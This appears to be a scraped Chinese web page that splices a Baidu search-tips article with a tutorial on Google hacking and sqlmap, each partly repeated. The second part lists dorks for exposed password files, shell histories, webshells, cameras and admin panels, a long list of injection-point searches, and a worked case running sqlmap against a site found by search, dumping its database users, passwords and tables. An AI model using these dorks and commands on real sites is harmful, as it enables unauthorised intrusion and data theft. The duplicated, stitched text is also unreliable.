以下图为例,以「学习网站intitle:剪辑」进行搜索,下方返回的搜索结果就会同时包含这两个关键词,让搜索结果更聚焦。
前面虽然单独介绍了每一个搜索指令,但在实际搜索场景下,我们可以将两个或多个搜索命令结合起来使用,不同指令联动配合,提高搜索的效率和质量。
02.百度高级搜索
刚接触这些搜索指令的朋友,前期可能还会记得,但如果后续没有有意识地使用它们,随着时间的流逝,这些指令就会慢慢被遗忘。
比较幸运的是,百度也自带了类似搜索指令的高级搜索,它以更易于理解的形式,将搜索指令呈现在我们面前。
点击百度搜索页面右上角的「设置」,打开「高级搜索」。
在你了解了前面各个指令的含义之后,再来看下图的高级搜索面板,应该就很好理解了。
以搜索关键词为例,完整关键词对应精确匹配的命令,不包括关键词对应过滤关键词命令。
在包含完整关键词输入框中输入关键词「城市地铁」,接着点击底部的高级搜索,在打开的搜索页面中,它会自动为关键词加上双引号,这与前面介绍的搜索命令是一致的。
此外,高级搜索面板还可以限定搜索返回的文档格式,这里列出的文档格式更清晰,包含 pdf、doc、xls、ppt 和 rtf 文件。
03.以图搜图
不少朋友可能都知道百度的「以图搜图」功能,通过将本地的图片上传到百度,它会帮我们找到与这张图片相关的其他图片。
但多数人每次使用百度的以图搜图时,可能都是先在百度中搜索以图搜图,然后打开百度识图的页面,最后再上传图片,整个流程下来有些繁琐。
为帮助大家更高效地使用以图搜图,这里介绍两个搜图的小技巧:
①按图搜索
这是百度图片自带的功能,当你使用百度搜索特定图片时,将鼠标移动到搜索返回的图片上方,右下角会有两个按钮,一个是下载,另一个则是按图片搜索。
点击「按图片搜索」,就会调用百度的以图搜图功能,寻找所有与当前图片相关的内容。
另外,当你点击图片的缩略图查看图片详情时,点击图片下方的「按图搜索」,同样可以实现以图搜图的操作。
② Search by Image
前面介绍的「按图搜索」有个不好的地方在于,它仅限在百度图片的页面起作用,对于其他网页的图片,就不能直接调用百度的以图搜图功能。
Search by Image,是一个强大的图片搜索插件,它集成了 30多个搜索引擎,可以将任意网页的图片上传到不同的搜索引擎,以此来查找与当前图片相关的图片或内容。
安装了插件之后,在任意图片上右击,选择「Search by image」,可以看到不同搜索引擎提供的以图搜图功能,选择 Baidu 就会直接打开百度识图页面。
打开插件的设置页面,可以查看插件集成的所有图片搜索引擎,勾选引擎前面的复选框即可启用,长按拖拽改变引擎的位置,会影响右键菜单中引擎的上下顺序。
04.屏蔽网站
在搜索时,除了过滤不需要的关键词,我们可能还想要屏蔽个人不喜欢的网站,例如各类容易让电脑中病毒的软件下载站、2345 网站等。
我对屏蔽网站比较理想的期待是,它不会出现在搜索结果中,但目前百度搜索无法做到这样,想屏蔽的网站还是会出现在搜索结果中,只能在打开网站的时候将其屏蔽。
为了间接屏蔽网站,我们需要为浏览器安装一个插件——Simple Blocker,正如其名,它屏蔽网站的操作非常简单。
安装插件后,点击右上角的插件图标,打开插件的配置页面,在网站屏蔽列表Website Blockist中粘贴你想屏蔽的网站的网址,点击下方的按钮「Save Blocklist」保存。
之后当你打开屏蔽列表中的网站,网站会跳转到 Simple Blocker的拦截页面,提示当前页面已被屏蔽。
可能这类屏蔽插件的正确用法不是这样子,正确的用法可能是为了屏蔽少儿不宜的东西,但为了屏蔽那些恶心人的网站,我也只能拿来这么用了。
Simple Blocker 插件下载地址:
05. 屏蔽广告
说到百度,它最为让人诟病的地方在于竞价排名。竞价排名,直接体现为我们在搜索结果顶部或者右侧看到的广告。
今年 4 月份百度经过一轮整改后,原本泛滥的广告行为已经有所收敛。这里我以关键词「降噪耳机」进行搜索,返回的页面顶部没有广告,广告只出现在了右侧栏。
如果你是一个强迫症患者,想去除网页侧边栏的广告,可以为浏览器安装去除广告的插件,这些插件有uBlockOrigin、AdBlock、AdGuard 等,你可以随意从中任选一款。
去广告插件下载地址:
写在最后
除了本文介绍的内容,我之前还写过一篇介绍多个垂直搜索引擎的文章,感兴趣的朋友可以戳下方的链接:
浏览至此,如果你在搜索方面也有自己的心得或体会,不妨在留言区写下你的想法,与其他朋友一起分享交流。
好看的人都在看▽ 查看全部
用了10年百度,这6个搜索技巧,我居然才知道!!
文 / 一周进步 · 安哥拉
在信息过载的当下,即便我们不去主动获取信息,各种应用推荐和用户生产的内容,也会把我们裹挟其中,但其中真正有价值的内容,实际上可能是少之又少。
每个人都会面临「时间有限」的约束,如何从信息浪潮中快速找到自己需要的优质内容,几乎成了每一个现代人必须面对的问题。
除了找到优质的信息源,更为重要的是,用好手中的搜索,因为你想知道的东西,80% 都可以在网上找到答案。
因此,今天的文章,我整理了提高搜索效率和质量的一些方法,包含搜索指令、以图搜图技巧、屏蔽网站和广告等,希望这些内容对你有帮助。
01. 搜索指令
①过滤关键词
在搜索的关键词后面使用减号,加上你想过滤的关键词,可以去除标题中包含过滤关键词的搜索结果。
举个例子,在百度中以关键词「学习App」进行搜索,默认排在搜索结果顶部的是来自知乎的内容。
为了对比前后的效果,以「学习App-知乎」再次搜索,返回的结果就会过滤来自知乎的内容。
②在指定网站中搜索
在关键词后面加上site:网址,可以在指定的网站中搜索关键词,这比较适合垂直且网址好记的网站,可以让你在不打开网站的情况下,直接使用关键词进行搜索。
以寻找答辩 PPT模板为例,直接以「答辩ppt」进行搜索,返回的结果来自不同的网站,既有 PPT 教程的内容,也有 PPT 模板网站,比较杂乱。
如果你只想搜索返回 PPT模板的结果,可试着将搜索的范围局限在PPT模板网站,例如微软家的模板网站,这样得到的搜索结果会更加精确。
值得一提的是,site:后面添加的网址,不需要带上或,否则返回的结果会显示没有找到相关的内容。
③指定文件类型
在关键词后面加上filetype:文件格式,可以指定搜索结果返回的文件类型,这里的文件格式包含但不限于 ppt、doc、pdf、xls 等。
还是以答辩 PPT为例,在关键词后面加上「filetype:ppt」,这样返回的结果就都仅限于 ppt 格式的文档,不会乱入其他类型的文件。
需要注意的是,自 Office2013起,Office新增了三种类型的兼容格式pptx、docx和xlsx,但百度的filetype指令不支持这三个新的格式,而在 Google 中则可以正常使用。
④精确匹配
有时我们使用关键词进行搜索时,搜索引擎会将我们的关键词拆分为两个小短语进行搜索,导致搜索返回的结果不尽如人意。
为了解决这个问题,我们可以将关键词放到引号里边,这样搜索引擎在搜索时就会返回包含完整关键词的结果,不会将关键词拆分为乱序的多个短语。
这里的引号既可以是中文引号,也可以是英文引号,使用中文或英文引号对搜索返回的结果不会有影响。
如下图所示,以「“城市地铁”」进行搜索时,返回的结果都是完全匹配的,相比为未添加引号时可以适当地提高搜索效率。
⑤通配符搜索
俗话说“好记性不如烂笔头”,有时刚听到或想到的东西,由于没有及时记录下来,不一会儿在我们脑中可能就只剩下星星点点的碎片。
就像是你隐约记得有部动漫叫《四月xx谎言》,但就是想不起中间的部分,此时你就可以使用星号*来代替,以此来告知搜索引擎,中间还有一部分你不清楚的内容。
这里的星号*被称为通配符,常用于模糊搜索的场景,当你不知道完整的文本时,可以使用通配符代替其中的一个或多个字符,以此来尽可能地接近自己想要搜索的内容。
⑥限定标题关键词
在关键词 A后面加上intitle:关键词 B,它有点像是数学中的交集,即搜索返回的结果中,其标题必须同时包含关键词 A和 B。
以下图为例,以「学习网站intitle:剪辑」进行搜索,下方返回的搜索结果就会同时包含这两个关键词,让搜索结果更聚焦。
前面虽然单独介绍了每一个搜索指令,但在实际搜索场景下,我们可以将两个或多个搜索命令结合起来使用,不同指令联动配合,提高搜索的效率和质量。
02.百度高级搜索
刚接触这些搜索指令的朋友,前期可能还会记得,但如果后续没有有意识地使用它们,随着时间的流逝,这些指令就会慢慢被遗忘。
比较幸运的是,百度也自带了类似搜索指令的高级搜索,它以更易于理解的形式,将搜索指令呈现在我们面前。
点击百度搜索页面右上角的「设置」,打开「高级搜索」。
在你了解了前面各个指令的含义之后,再来看下图的高级搜索面板,应该就很好理解了。
以搜索关键词为例,完整关键词对应精确匹配的命令,不包括关键词对应过滤关键词命令。
在包含完整关键词输入框中输入关键词「城市地铁」,接着点击底部的高级搜索,在打开的搜索页面中,它会自动为关键词加上双引号,这与前面介绍的搜索命令是一致的。
此外,高级搜索面板还可以限定搜索返回的文档格式,这里列出的文档格式更清晰,包含 pdf、doc、xls、ppt 和 rtf 文件。
03.以图搜图
不少朋友可能都知道百度的「以图搜图」功能,通过将本地的图片上传到百度,它会帮我们找到与这张图片相关的其他图片。
但多数人每次使用百度的以图搜图时,可能都是先在百度中搜索以图搜图,然后打开百度识图的页面,最后再上传图片,整个流程下来有些繁琐。
为帮助大家更高效地使用以图搜图,这里介绍两个搜图的小技巧:
①按图搜索
这是百度图片自带的功能,当你使用百度搜索特定图片时,将鼠标移动到搜索返回的图片上方,右下角会有两个按钮,一个是下载,另一个则是按图片搜索。
点击「按图片搜索」,就会调用百度的以图搜图功能,寻找所有与当前图片相关的内容。
另外,当你点击图片的缩略图查看图片详情时,点击图片下方的「按图搜索」,同样可以实现以图搜图的操作。
② Search by Image
前面介绍的「按图搜索」有个不好的地方在于,它仅限在百度图片的页面起作用,对于其他网页的图片,就不能直接调用百度的以图搜图功能。
Search by Image,是一个强大的图片搜索插件,它集成了 30多个搜索引擎,可以将任意网页的图片上传到不同的搜索引擎,以此来查找与当前图片相关的图片或内容。
安装了插件之后,在任意图片上右击,选择「Search by image」,可以看到不同搜索引擎提供的以图搜图功能,选择 Baidu 就会直接打开百度识图页面。
打开插件的设置页面,可以查看插件集成的所有图片搜索引擎,勾选引擎前面的复选框即可启用,长按拖拽改变引擎的位置,会影响右键菜单中引擎的上下顺序。
04.屏蔽网站
在搜索时,除了过滤不需要的关键词,我们可能还想要屏蔽个人不喜欢的网站,例如各类容易让电脑中病毒的软件下载站、2345 网站等。
我对屏蔽网站比较理想的期待是,它不会出现在搜索结果中,但目前百度搜索无法做到这样,想屏蔽的网站还是会出现在搜索结果中,只能在打开网站的时候将其屏蔽。
为了间接屏蔽网站,我们需要为浏览器安装一个插件——Simple Blocker,正如其名,它屏蔽网站的操作非常简单。
安装插件后,点击右上角的插件图标,打开插件的配置页面,在网站屏蔽列表Website Blockist中粘贴你想屏蔽的网站的网址,点击下方的按钮「Save Blocklist」保存。
之后当你打开屏蔽列表中的网站,网站会跳转到 Simple Blocker的拦截页面,提示当前页面已被屏蔽。
可能这类屏蔽插件的正确用法不是这样子,正确的用法可能是为了屏蔽少儿不宜的东西,但为了屏蔽那些恶心人的网站,我也只能拿来这么用了。
Simple Blocker 插件下载地址:
05. 屏蔽广告
说到百度,它最为让人诟病的地方在于竞价排名。竞价排名,直接体现为我们在搜索结果顶部或者右侧看到的广告。
今年 4 月份百度经过一轮整改后,原本泛滥的广告行为已经有所收敛。这里我以关键词「降噪耳机」进行搜索,返回的页面顶部没有广告,广告只出现在了右侧栏。
如果你是一个强迫症患者,想去除网页侧边栏的广告,可以为浏览器安装去除广告的插件,这些插件有uBlockOrigin、AdBlock、AdGuard 等,你可以随意从中任选一款。
去广告插件下载地址:
写在最后
除了本文介绍的内容,我之前还写过一篇介绍多个垂直搜索引擎的文章,感兴趣的朋友可以戳下方的链接:
浏览至此,如果你在搜索方面也有自己的心得或体会,不妨在留言区写下你的想法,与其他朋友一起分享交流。
好看的人都在看▽
sqlamp利用搜索引擎获取目标地址进行注入
网站优化 • 优采云 发表了文章 • 0 个评论 • 173 次浏览 • 2022-06-14 14:28
随着近今年安全事件频出,个人和公司安全意识大大提高,过去对一个站点随便一试就存在sql注入漏洞的时光一去不返,但互联网上千千万万公司,还有很多站点存在sql注入漏洞,好在sqlmap提供了google搜索注入,通过定义url值来进行大批量的搜索,找到url后直接进行测试,这个测试最关键的地方就是找到一个合适的定义名称,也即搜索的文件名称,本文主要介绍google黑客的一些语法和如何利用google进行sqlmap注入目标的选定和测试。
3.7.1google黑客语法
目前世界上的搜索引擎主要有google、百度等,搜索引擎最出名的应该是google,最好用的也是google,不过现在google被墙了(需要购买VPN或者通过sock5代理才能访问),google其强大的搜索功能,可以在瞬间找到想要的一切。对于普通的用户而言,Google是一个强大的搜索引擎,但对于黑客而言,则可能是一款绝佳的黑客辅助工具,google每天不间断的对世界上的网站进行爬取,相当于一个巨型漏洞扫描器。因此黑客可以构造特殊的关键字语法,使用Google搜索关键字配置等信息。通过Google,黑客甚至可以在几秒种内黑掉一个网站。这种利用Google搜索相关信息并进行入侵的过程就叫做Google Hack。Google Hacking的含义原指利用Google搜索引擎搜索信息来进行入侵的技术和行为,现指利用各种搜索引擎搜索信息来进行入侵的技术和行为。
1.google基础语法
Google 不分大小写;Google 可以使用通配符“*”表示一个词/字;Google 会智能地保留一些内容,比如一些过时的词,一些不适合呈现的内容(比如违法信息);最常用的"关键字",双引号会使Google强制搜索包含关键字的内容;布尔操作符AND(+)、NOT(-)、OR(|),AND现在已不需要,多个关键字google会都匹配到。
(1)inurl——搜索包含有特定字符的URL
inurl:admin/manager 则可以找到带有admin/manager字符的URL,通常这类网址是管理员后台的登录网址,其它后台地址名称还有:
admin
admin_index
admin_admin
index_admin
admin/index
admin/default
admin/manage
admin/login
manage_index
index_manage
manager/login
manager/login.asp
manager/admin.asp
login/admin/admin.asp
houtai/admin.asp
guanli/admin.asp
denglu/admin.asp
admin_login/admin.asp
admin_login/login.asp
admin/manage/admin.asp
admin/manage/login.asp
admin/default/admin.asp
admin/default/login.asp
member/admin.asp
member/login.asp
administrator/admin.asp
administrator/login.asp
(2)intext(allintext)——搜索网页正文内容中的指定字符
intext(allintext):网页内容查找关键字,例如输入“intext:百度”,这会查找包含百度关键字的网页。
(3)site——限制显示某个域名的所有页面
site: 则仅仅显示域名,同时还可以使用“-”进行排除。
(4)filetype——对目标进行某些文件类型检索
filetype后跟文件类型,目前常见的类型有doc、xml、rar、docx、inc、mdb、txt
、email、xls、.sql、inc、conf、txtf、xml、pdf、zip、tar.gz、xlsl等。
例如搜索doc文档,则在搜索输入框中键入:filetype:doc,这种方法主要是搜索某目标网站的一些通过google爬虫爬取的信息。filetype后跟脚本语言后缀,例如搜索asp脚本:filetype:asp,其它类型类似,主要有jsp、php、aspx、cfm等,可以仅仅查看这些脚本的url。
(5)intitle——限制搜索的网页标题页面
搜索网页标题中包含有特定字符的网页,allintitle: 搜索所有关键字构成标题的网页.(allintite:关键字或者url地址)
(6)link——将显示跟指定网页的所有链接的网页
(7)cache——将显示在Google cache中的网页
(8)info——查找指定站点的一些基本信息
2.操作符说明
在google中共有“+”、“-”、“~”、“.”、“*”、“""”等操作符,其中“+“表示将可能忽略的字列入查询范围,“-”把某个关键字忽略,“~”同意词、“.”单一的通配符,“*”通配符,可代表多个字母;“""”精确查询。
3.google黑客的一些应用
(1)搜索敏感信息泄露
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" admin
inurl:service.pwd
intitle:phpmyadmin intext:Create newdatabase//搜索phpmyadmin直接进入后台
intitle:"php shell*" "Enablestderr" filetype:php//批量搜索webshell
intitle:"index of" data//列出data目录
intilte:"error occurred" ODBCrequest where (select|insert)//搜索sql注入出错页面
intitle:index.of filetype:log//搜索日志文件
(2)查找管理后台
intitle:管理
intitle:登录
intitle:后台
intitel:"后台登录"
(3)查找警告错误信息
intile:error
intitle:warning
0x004 inurl的用法
(3)查找数据库和配置文件
inurl:editor/db/
inurl:eWebEditor/db/
inurl:bbs/data/
inurl:databackup/
inurl:blog/data/
inurl:okedata
inurl:bbs/database/
inurl:conn.asp
inurl:inc/conn.asp
inurl:"viewerframe?mode="//搜索摄像头地址
inurl:db
inurl:mdb
inurl:config.txt
inurl:bash_history
inurl:data filetype:mdb//搜索mdb格式数据库
(4)搜索备份文件
inurl:temp
inurl:tmp
inurl:backup
inurl:bak
(5)inurl中查找注入点
site: filetype:asp
site:tw inurl:asp?id=//这个是找台湾的
site:jp inurl:php?id=// 这个是找日本的
site:ko inurl:jsp?id=// 这个是找韩国的
(6)目标遍历漏洞
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
“inde xof/ inurl:lib
3.7.2google黑客入侵方法及思路
1.获取主域名下的所有其他子域名或者页面信息
site:
2.找各个子域名的管理后台
site:intitle:管理或者后台或者登陆等关键字
site: inurl:login或者inurl:admin可以跟常用的后台路径
site: intext:管理或者后台或者登陆等关键字
3.查找各子域名脚本文件
site: filetype:jsp
site: filetype:aspx
site: filetype:php
site: filetype:asp
可以穷尽化对各个子域名的脚本文件页面。
4.查找上传路径地址
site: inurl:file
site: inurl:load
site: inurl:file
5.收集email邮箱等敏感信息
6.对存在脚本页面及传入参数进行sql注入测试
7.对收集到的域名进行漏洞扫描
3.7.3sqlmap利用搜索引擎进行注入命令参数
sqlmap中提供了google进行批量获取注入的命令,通过该命令可以批量获取url,对存在其中的url进行注入测试。
1.命令参数
sqlmap.py -g inurl:asp?id=
sqlmap.py -g inurl:aspx?id=
sqlmap.py -g inurl:php?id=
sqlmap.py -g inurl:jsp?id=
2.可以使用--batch进行自动判断和注入
注意:
(1)国内用户无法翻墙进行注入测试,测试时必须使用代理或者vpn。
(2)在kali中sqlmap命令为sqlmap -g
3.其它命令跟sqlmap进行sql注入类似
4.技巧
在定义inurl:asp?id=中指定具体的文件名称,这个名称越不大众化,越容易找出漏洞来。
5.常见的一些注入点搜索关键字
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in=inurl:gallery.php?id=
inurl:trainers.php?id=inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
inurl:news_display.php?getid=inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
inurl:top10.php?cat=inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
inurl:news.php?catid=inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id=inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id=inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id=inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id=inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category=inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
inurl:games.php?id=inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file=inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id=inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id=inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id=inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
inurl:newsitem.php?num=inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id=inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
inurl:game.php?id=inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
inurl:news.php?id=inurl:participant.php?id= about.php?cartID=
inurl:avd_start.php?avd=inurl:download.php?id= accinfo.php?cartId=
inurl:event.php?id=inurl:main.php?id= add-to-cart.php?ID=
inurl:product-item.php?id=inurl:review.php?id= addToCart.php?idProduct=
inurl:sql.php?id=inurl:chappies.php?id=addtomylist.php?ProdId=
inurl:material.php?id=inurl:read.php?id=
inurl:clanek.php4?id=inurl:prod_detail.php?id=
inurl:announce.php?id=inurl:viewphoto.php?id=
inurl:chappies.php?id=inurl:article.php?id=
inurl:read.php?id=inurl:person.php?id=
inurl:viewapp.php?id=inurl:productinfo.php?id=
inurl:viewphoto.php?id=inurl:showimg.php?id=
inurl:rub.php?idr=inurl:view.php?id=
inurl:galeri_info.php?l=inurl:website.php?id=
3.7.4实际测试案例
1.寻找可供注入点的目标网站
在kali下,使用“sqlmap -g inurl:details.php?id=”命令进行google搜索,如图1所示,首先对第一个目标进行测试,输入“Y”进行确认,也可以选择q,不测试该目标,继续测试后续的目标。
图1对第一个url进行sql注入测试
sqlmap如果第一个url获取的注入不存在漏洞,则会寻找下一个url进行注入,同时url计数为2,后续每一个注入计数加1,可以在参数后面增加--batch自动提交判断。
2.sql注入漏洞测试
如图2所示,对该注入点进行注入漏洞测试,该url一共存在四种类型的sql注入,基于布尔盲注、出错注入、基于时间盲注和联合查询注入。
图2获取四种类型的sql注入
3.基本信息获取
sqlmap支持多个参数并列获取,如图3所示,获取当前数据库、当前数据库名称、数据库用户,mysql用户以及密码等信息,有些字段需要有相对应的权限才能获取,执行命令:
“sqlmap -u --dbs --current-db --current-user--users --passwords”,在本例中获取数据库用户finvent2@localhost,当前数据库为finvent_out。
图3获取基本信息
4.数据库获取
(1)获取当前数据库下所有表
sqlmap -u -D finvent_out --tables
执行后,如图4所示,获取当前数据库finvent_out中的16个表名。
图4获取所有表名
(2)获取当前用户下的所有数据
sqlmap -u --dump-all//获取所有数据库
sqlmap -u -Dfinvent_out //仅仅获取finvent_out数据库的数据。
参考文章: 查看全部
sqlamp利用搜索引擎获取目标地址进行注入
随着近今年安全事件频出,个人和公司安全意识大大提高,过去对一个站点随便一试就存在sql注入漏洞的时光一去不返,但互联网上千千万万公司,还有很多站点存在sql注入漏洞,好在sqlmap提供了google搜索注入,通过定义url值来进行大批量的搜索,找到url后直接进行测试,这个测试最关键的地方就是找到一个合适的定义名称,也即搜索的文件名称,本文主要介绍google黑客的一些语法和如何利用google进行sqlmap注入目标的选定和测试。
3.7.1google黑客语法
目前世界上的搜索引擎主要有google、百度等,搜索引擎最出名的应该是google,最好用的也是google,不过现在google被墙了(需要购买VPN或者通过sock5代理才能访问),google其强大的搜索功能,可以在瞬间找到想要的一切。对于普通的用户而言,Google是一个强大的搜索引擎,但对于黑客而言,则可能是一款绝佳的黑客辅助工具,google每天不间断的对世界上的网站进行爬取,相当于一个巨型漏洞扫描器。因此黑客可以构造特殊的关键字语法,使用Google搜索关键字配置等信息。通过Google,黑客甚至可以在几秒种内黑掉一个网站。这种利用Google搜索相关信息并进行入侵的过程就叫做Google Hack。Google Hacking的含义原指利用Google搜索引擎搜索信息来进行入侵的技术和行为,现指利用各种搜索引擎搜索信息来进行入侵的技术和行为。
1.google基础语法
Google 不分大小写;Google 可以使用通配符“*”表示一个词/字;Google 会智能地保留一些内容,比如一些过时的词,一些不适合呈现的内容(比如违法信息);最常用的"关键字",双引号会使Google强制搜索包含关键字的内容;布尔操作符AND(+)、NOT(-)、OR(|),AND现在已不需要,多个关键字google会都匹配到。
(1)inurl——搜索包含有特定字符的URL
inurl:admin/manager 则可以找到带有admin/manager字符的URL,通常这类网址是管理员后台的登录网址,其它后台地址名称还有:
admin
admin_index
admin_admin
index_admin
admin/index
admin/default
admin/manage
admin/login
manage_index
index_manage
manager/login
manager/login.asp
manager/admin.asp
login/admin/admin.asp
houtai/admin.asp
guanli/admin.asp
denglu/admin.asp
admin_login/admin.asp
admin_login/login.asp
admin/manage/admin.asp
admin/manage/login.asp
admin/default/admin.asp
admin/default/login.asp
member/admin.asp
member/login.asp
administrator/admin.asp
administrator/login.asp
(2)intext(allintext)——搜索网页正文内容中的指定字符
intext(allintext):网页内容查找关键字,例如输入“intext:百度”,这会查找包含百度关键字的网页。
(3)site——限制显示某个域名的所有页面
site: 则仅仅显示域名,同时还可以使用“-”进行排除。
(4)filetype——对目标进行某些文件类型检索
filetype后跟文件类型,目前常见的类型有doc、xml、rar、docx、inc、mdb、txt
、email、xls、.sql、inc、conf、txtf、xml、pdf、zip、tar.gz、xlsl等。
例如搜索doc文档,则在搜索输入框中键入:filetype:doc,这种方法主要是搜索某目标网站的一些通过google爬虫爬取的信息。filetype后跟脚本语言后缀,例如搜索asp脚本:filetype:asp,其它类型类似,主要有jsp、php、aspx、cfm等,可以仅仅查看这些脚本的url。
(5)intitle——限制搜索的网页标题页面
搜索网页标题中包含有特定字符的网页,allintitle: 搜索所有关键字构成标题的网页.(allintite:关键字或者url地址)
(6)link——将显示跟指定网页的所有链接的网页
(7)cache——将显示在Google cache中的网页
(8)info——查找指定站点的一些基本信息
2.操作符说明
在google中共有“+”、“-”、“~”、“.”、“*”、“""”等操作符,其中“+“表示将可能忽略的字列入查询范围,“-”把某个关键字忽略,“~”同意词、“.”单一的通配符,“*”通配符,可代表多个字母;“""”精确查询。
3.google黑客的一些应用
(1)搜索敏感信息泄露
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" admin
inurl:service.pwd
intitle:phpmyadmin intext:Create newdatabase//搜索phpmyadmin直接进入后台
intitle:"php shell*" "Enablestderr" filetype:php//批量搜索webshell
intitle:"index of" data//列出data目录
intilte:"error occurred" ODBCrequest where (select|insert)//搜索sql注入出错页面
intitle:index.of filetype:log//搜索日志文件
(2)查找管理后台
intitle:管理
intitle:登录
intitle:后台
intitel:"后台登录"
(3)查找警告错误信息
intile:error
intitle:warning
0x004 inurl的用法
(3)查找数据库和配置文件
inurl:editor/db/
inurl:eWebEditor/db/
inurl:bbs/data/
inurl:databackup/
inurl:blog/data/
inurl:okedata
inurl:bbs/database/
inurl:conn.asp
inurl:inc/conn.asp
inurl:"viewerframe?mode="//搜索摄像头地址
inurl:db
inurl:mdb
inurl:config.txt
inurl:bash_history
inurl:data filetype:mdb//搜索mdb格式数据库
(4)搜索备份文件
inurl:temp
inurl:tmp
inurl:backup
inurl:bak
(5)inurl中查找注入点
site: filetype:asp
site:tw inurl:asp?id=//这个是找台湾的
site:jp inurl:php?id=// 这个是找日本的
site:ko inurl:jsp?id=// 这个是找韩国的
(6)目标遍历漏洞
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
“inde xof/ inurl:lib
3.7.2google黑客入侵方法及思路
1.获取主域名下的所有其他子域名或者页面信息
site:
2.找各个子域名的管理后台
site:intitle:管理或者后台或者登陆等关键字
site: inurl:login或者inurl:admin可以跟常用的后台路径
site: intext:管理或者后台或者登陆等关键字
3.查找各子域名脚本文件
site: filetype:jsp
site: filetype:aspx
site: filetype:php
site: filetype:asp
可以穷尽化对各个子域名的脚本文件页面。
4.查找上传路径地址
site: inurl:file
site: inurl:load
site: inurl:file
5.收集email邮箱等敏感信息
6.对存在脚本页面及传入参数进行sql注入测试
7.对收集到的域名进行漏洞扫描
3.7.3sqlmap利用搜索引擎进行注入命令参数
sqlmap中提供了google进行批量获取注入的命令,通过该命令可以批量获取url,对存在其中的url进行注入测试。
1.命令参数
sqlmap.py -g inurl:asp?id=
sqlmap.py -g inurl:aspx?id=
sqlmap.py -g inurl:php?id=
sqlmap.py -g inurl:jsp?id=
2.可以使用--batch进行自动判断和注入
注意:
(1)国内用户无法翻墙进行注入测试,测试时必须使用代理或者vpn。
(2)在kali中sqlmap命令为sqlmap -g
3.其它命令跟sqlmap进行sql注入类似
4.技巧
在定义inurl:asp?id=中指定具体的文件名称,这个名称越不大众化,越容易找出漏洞来。
5.常见的一些注入点搜索关键字
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in=inurl:gallery.php?id=
inurl:trainers.php?id=inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
inurl:news_display.php?getid=inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
inurl:top10.php?cat=inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
